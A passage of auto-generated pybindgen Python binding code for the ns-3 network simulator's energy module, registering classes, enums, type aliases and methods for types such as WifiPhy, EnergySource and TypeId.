## tag-buffer.h (module 'network'): ns3::TagBuffer [class] module.add_class('TagBuffer', import_from_module='ns.network') ## traced-value.h (module 'core'): ns3::TracedValue<double> [class] module.add_class('TracedValue', import_from_module='ns.core', template_parameters=['double']) ## type-id.h (module 'core'): ns3::TypeId [class] module.add_class('TypeId', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration] module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct] module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct] module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## wifi-mode.h (module 'wifi'): ns3::WifiMode [class] module.add_class('WifiMode', import_from_module='ns.wifi') ## wifi-mode.h (module 'wifi'): ns3::WifiModeFactory [class] module.add_class('WifiModeFactory', import_from_module='ns.wifi') ## wifi-phy.h (module 'wifi'): ns3::WifiPhyListener [class] module.add_class('WifiPhyListener', allow_subclassing=True, import_from_module='ns.wifi') ## wifi-radio-energy-model-helper.h (module 'energy'): ns3::WifiRadioEnergyModelHelper [class] module.add_class('WifiRadioEnergyModelHelper', parent=root_module['ns3::DeviceEnergyModelHelper']) ## wifi-radio-energy-model.h (module 'energy'): ns3::WifiRadioEnergyModelPhyListener [class] module.add_class('WifiRadioEnergyModelPhyListener', parent=root_module['ns3::WifiPhyListener']) ## wifi-tx-vector.h (module 'wifi'): ns3::WifiTxVector [class] module.add_class('WifiTxVector', import_from_module='ns.wifi') ## empty.h (module 'core'): ns3::empty [class] module.add_class('empty', import_from_module='ns.core') ## int64x64-double.h (module 'core'): ns3::int64x64_t [class] module.add_class('int64x64_t', import_from_module='ns.core') ## int64x64-double.h (module 'core'): ns3::int64x64_t::impl_type [enumeration] module.add_enum('impl_type', ['int128_impl', 'cairo_impl', 'ld_impl'], outer_class=root_module['ns3::int64x64_t'], import_from_module='ns.core') ## basic-energy-source-helper.h (module 'energy'): ns3::BasicEnergySourceHelper [class] module.add_class('BasicEnergySourceHelper', parent=root_module['ns3::EnergySourceHelper']) ## chunk.h (module 'network'): ns3::Chunk [class] module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## header.h (module 'network'): ns3::Header [class] module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## object.h (module 'core'): ns3::Object [class] module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) ## object.h (module 'core'): ns3::Object::AggregateIterator [class] module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Hash::Implementation', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Hash::Implementation>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## nstime.h (module 'core'): ns3::Time [class] module.add_class('Time', import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time::Unit [enumeration] module.add_enum('Unit', ['Y', 'D', 'H', 'MIN', 'S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST'], outer_class=root_module['ns3::Time'], import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time [class] root_module['ns3::Time'].implicitly_converts_to(root_module['ns3::int64x64_t']) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class] module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) ## traced-value.h (module 'core'): ns3::TracedValue<ns3::Time> [class] module.add_class('TracedValue', import_from_module='ns.core', template_parameters=['ns3::Time']) ## traced-value.h (module 'core'): ns3::TracedValue<ns3::Time> [class] root_module['ns3::TracedValue< ns3::Time >'].implicitly_converts_to(root_module['ns3::Time']) ## trailer.h (module 'network'): ns3::Trailer [class] module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## wifi-phy.h (module 'wifi'): ns3::WifiPhy [class] module.add_class('WifiPhy', import_from_module='ns.wifi', parent=root_module['ns3::Object']) ## wifi-phy.h (module 'wifi'): ns3::WifiPhy::State [enumeration] module.add_enum('State', ['IDLE', 'CCA_BUSY', 'TX', 'RX', 'SWITCHING'], outer_class=root_module['ns3::WifiPhy'], import_from_module='ns.wifi') ## attribute.h (module 'core'): ns3::AttributeAccessor [class] module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) ## attribute.h (module 'core'): ns3::AttributeChecker [class] module.add_class('AttributeChecker', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) ## attribute.h (module 'core'): ns3::AttributeValue [class] module.add_class('AttributeValue', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) ## boolean.h (module 'core'): ns3::BooleanChecker [class] module.add_class('BooleanChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## boolean.h (module 'core'): ns3::BooleanValue [class] module.add_class('BooleanValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## callback.h (module 'core'): ns3::CallbackChecker [class] module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## callback.h (module 'core'): ns3::CallbackImplBase [class] module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) ## callback.h (module 'core'): ns3::CallbackValue [class] module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## device-energy-model.h (module 'energy'): ns3::DeviceEnergyModel [class] module.add_class('DeviceEnergyModel', parent=root_module['ns3::Object']) ## double.h (module 'core'): ns3::DoubleValue [class] module.add_class('DoubleValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## attribute.h (module 'core'): ns3::EmptyAttributeValue [class] module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## energy-source.h (module 'energy'): ns3::EnergySource [class] module.add_class('EnergySource', parent=root_module['ns3::Object']) ## energy-source-container.h (module 'energy'): ns3::EnergySourceContainer [class] module.add_class('EnergySourceContainer', parent=root_module['ns3::Object']) ## enum.h (module 'core'): ns3::EnumChecker [class] module.add_class('EnumChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## enum.h (module 'core'): ns3::EnumValue [class] module.add_class('EnumValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## event-impl.h (module 'core'): ns3::EventImpl [class] module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) ## integer.h (module 'core'): ns3::IntegerValue [class] module.add_class('IntegerValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class] module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class] module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class] module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class] module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class] module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class] module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class] module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class] module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## li-ion-energy-source.h (module 'energy'): ns3::LiIonEnergySource [class] module.add_class('LiIonEnergySource', parent=root_module['ns3::EnergySource']) ## net-device.h (module 'network'): ns3::NetDevice [class] module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object']) ## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration] module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network') ## nix-vector.h (module 'network'): ns3::NixVector [class] module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) ## node.h (module 'network'): ns3::Node [class] module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object']) ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker [class] module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class] module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## packet.h (module 'network'): ns3::Packet [class] module.add_class('Packet', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) ## rv-battery-model.h (module 'energy'): ns3::RvBatteryModel [class] module.add_class('RvBatteryModel', parent=root_module['ns3::EnergySource']) ## simple-device-energy-model.h (module 'energy'): ns3::SimpleDeviceEnergyModel [class] module.add_class('SimpleDeviceEnergyModel', parent=root_module['ns3::DeviceEnergyModel']) ## nstime.h (module 'core'): ns3::TimeValue [class] module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## type-id.h (module 'core'): ns3::TypeIdChecker [class] module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## type-id.h (module 'core'): ns3::TypeIdValue [class] module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## uinteger.h (module 'core'): ns3::UintegerValue [class] module.add_class('UintegerValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## wifi-mode.h (module 'wifi'): ns3::WifiModeChecker [class] module.add_class('WifiModeChecker', import_from_module='ns.wifi', parent=root_module['ns3::AttributeChecker']) ## wifi-mode.h (module 'wifi'): ns3::WifiModeValue [class] module.add_class('WifiModeValue', import_from_module='ns.wifi', parent=root_module['ns3::AttributeValue']) ## wifi-radio-energy-model.h (module 'energy'): ns3::WifiRadioEnergyModel [class] module.add_class('WifiRadioEnergyModel', parent=root_module['ns3::DeviceEnergyModel']) ## address.h (module 'network'): ns3::AddressChecker [class] module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## address.h (module 'network'): ns3::AddressValue [class] module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## basic-energy-source.h (module 'energy'): ns3::BasicEnergySource [class] module.add_class('BasicEnergySource', parent=root_module['ns3::EnergySource']) module.add_container('ns3::WifiModeList', 'ns3::WifiMode', container_type=u'vector') typehandlers.add_type_alias(u'std::vector< unsigned char, std::allocator< unsigned char > >', u'ns3::WifiMcsList') typehandlers.add_type_alias(u'std::vector< unsigned char, std::allocator< unsigned char > >*', u'ns3::WifiMcsList*') typehandlers.add_type_alias(u'std::vector< unsigned char, std::allocator< unsigned char > >&', u'ns3::WifiMcsList&') typehandlers.add_type_alias(u'std::vector< ns3::WifiMode, std::allocator< ns3::WifiMode > >', u'ns3::WifiModeList') typehandlers.add_type_alias(u'std::vector< ns3::WifiMode, std::allocator< ns3::WifiMode > >*', u'ns3::WifiModeList*') typehandlers.add_type_alias(u'std::vector< ns3::WifiMode, std::allocator< ns3::WifiMode > >&', u'ns3::WifiModeList&') typehandlers.add_type_alias(u'__gnu_cxx::__normal_iterator< ns3::WifiMode const *, std::vector< ns3::WifiMode, std::allocator< ns3::WifiMode > > >', u'ns3::WifiModeListIterator') typehandlers.add_type_alias(u'__gnu_cxx::__normal_iterator< ns3::WifiMode const *, std::vector< ns3::WifiMode, std::allocator< ns3::WifiMode > > >*', u'ns3::WifiModeListIterator*') typehandlers.add_type_alias(u'__gnu_cxx::__normal_iterator< ns3::WifiMode const *, std::vector< ns3::WifiMode, std::allocator< ns3::WifiMode > > >&', u'ns3::WifiModeListIterator&') typehandlers.add_type_alias(u'__gnu_cxx::__normal_iterator< unsigned char const *, std::vector< unsigned char, std::allocator< unsigned char > > >', u'ns3::WifiMcsListIterator') typehandlers.add_type_alias(u'__gnu_cxx::__normal_iterator< unsigned char const *, std::vector< unsigned char, std::allocator< unsigned char > > >*', u'ns3::WifiMcsListIterator*') typehandlers.add_type_alias(u'__gnu_cxx::__normal_iterator< unsigned char const *, std::vector< unsigned char, std::allocator< unsigned char > > >&', u'ns3::WifiMcsListIterator&') ## Register a nested module for the namespace FatalImpl nested_module = module.add_cpp_namespace('FatalImpl') register_types_ns3_FatalImpl(nested_module) ## Register a nested module for the namespace Hash nested_module = module.add_cpp_namespace('Hash') register_types_ns3_Hash(nested_module) ## Register a nested module for the namespace internal nested_module = module.add_cpp_namespace('internal') register_types_ns3_internal(nested_module) def register_types_ns3_FatalImpl(module): root_module = module.get_root() def register_types_ns3_Hash(module): root_module = module.get_root() ## hash-function.h (module 'core'): ns3::Hash::Implementation [class] module.add_class('Implementation', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash32Function_ptr') typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash32Function_ptr*') typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash32Function_ptr&') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash64Function_ptr') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash64Function_ptr*') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash64Function_ptr&') ## Register a nested module for the namespace Function nested_module = module.add_cpp_namespace('Function') register_types_ns3_Hash_Function(nested_module) def register_types_ns3_Hash_Function(module): root_module = module.get_root() ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a [class] module.add_class('Fnv1a', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32 [class] module.add_class('Hash32', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64 [class] module.add_class('Hash64', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3 [class] module.add_class('Murmur3', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) def register_types_ns3_internal(module): root_module = module.get_root() def register_methods(root_module): register_Ns3Address_methods(root_module, root_module['ns3::Address']) register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList']) register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item']) register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer']) register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator']) register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator']) register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item']) register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList']) register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator']) register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item']) register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase']) register_Ns3DeviceEnergyModelContainer_methods(root_module, root_module['ns3::DeviceEnergyModelContainer']) register_Ns3DeviceEnergyModelHelper_methods(root_module, root_module['ns3::DeviceEnergyModelHelper']) register_Ns3EnergySourceHelper_methods(root_module, root_module['ns3::EnergySourceHelper']) register_Ns3EventId_methods(root_module, root_module['ns3::EventId']) register_Ns3Hasher_methods(root_module, root_module['ns3::Hasher']) register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address']) register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask']) register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address']) register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix']) register_Ns3NetDeviceContainer_methods(root_module, root_module['ns3::NetDeviceContainer']) register_Ns3NodeContainer_methods(root_module, root_module['ns3::NodeContainer']) register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase']) register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter']) register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory']) register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata']) register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item']) register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator']) register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator']) register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item']) register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList']) register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData']) register_Ns3RvBatteryModelHelper_methods(root_module, root_module['ns3::RvBatteryModelHelper']) register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) register_Ns3Tag_methods(root_module, root_module['ns3::Tag']) register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer']) register_Ns3TracedValue__Double_methods(root_module, root_module['ns3::TracedValue< double >']) register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId']) register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation']) register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation']) register_Ns3WifiMode_methods(root_module, root_module['ns3::WifiMode']) register_Ns3WifiModeFactory_methods(root_module, root_module['ns3::WifiModeFactory']) register_Ns3WifiPhyListener_methods(root_module, root_module['ns3::WifiPhyListener']) register_Ns3WifiRadioEnergyModelHelper_methods(root_module, root_module['ns3::WifiRadioEnergyModelHelper']) register_Ns3WifiRadioEnergyModelPhyListener_methods(root_module, root_module['ns3::WifiRadioEnergyModelPhyListener']) register_Ns3WifiTxVector_methods(root_module, root_module['ns3::WifiTxVector']) register_Ns3Empty_methods(root_module, root_module['ns3::empty']) register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t']) register_Ns3BasicEnergySourceHelper_methods(root_module, root_module['ns3::BasicEnergySourceHelper']) register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk']) register_Ns3Header_methods(root_module, root_module['ns3::Header']) register_Ns3Object_methods(root_module, root_module['ns3::Object']) register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator']) register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) register_Ns3Time_methods(root_module, root_module['ns3::Time']) register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor']) register_Ns3TracedValue__Ns3Time_methods(root_module, root_module['ns3::TracedValue< ns3::Time >']) register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer']) register_Ns3WifiPhy_methods(root_module, root_module['ns3::WifiPhy']) register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor']) register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker']) register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue']) register_Ns3BooleanChecker_methods(root_module, root_module['ns3::BooleanChecker']) register_Ns3BooleanValue_methods(root_module, root_module['ns3::BooleanValue']) register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker']) register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase']) register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue']) register_Ns3DeviceEnergyModel_methods(root_module, root_module['ns3::DeviceEnergyModel']) register_Ns3DoubleValue_methods(root_module, root_module['ns3::DoubleValue']) register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue']) register_Ns3EnergySource_methods(root_module, root_module['ns3::EnergySource']) register_Ns3EnergySourceContainer_methods(root_module, root_module['ns3::EnergySourceContainer']) register_Ns3EnumChecker_methods(root_module, root_module['ns3::EnumChecker']) register_Ns3EnumValue_methods(root_module, root_module['ns3::EnumValue']) register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl']) register_Ns3IntegerValue_methods(root_module, root_module['ns3::IntegerValue']) register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker']) register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue']) register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker']) register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue']) register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker']) register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue']) register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker']) register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue']) register_Ns3LiIonEnergySource_methods(root_module, root_module['ns3::LiIonEnergySource']) register_Ns3NetDevice_methods(root_module, 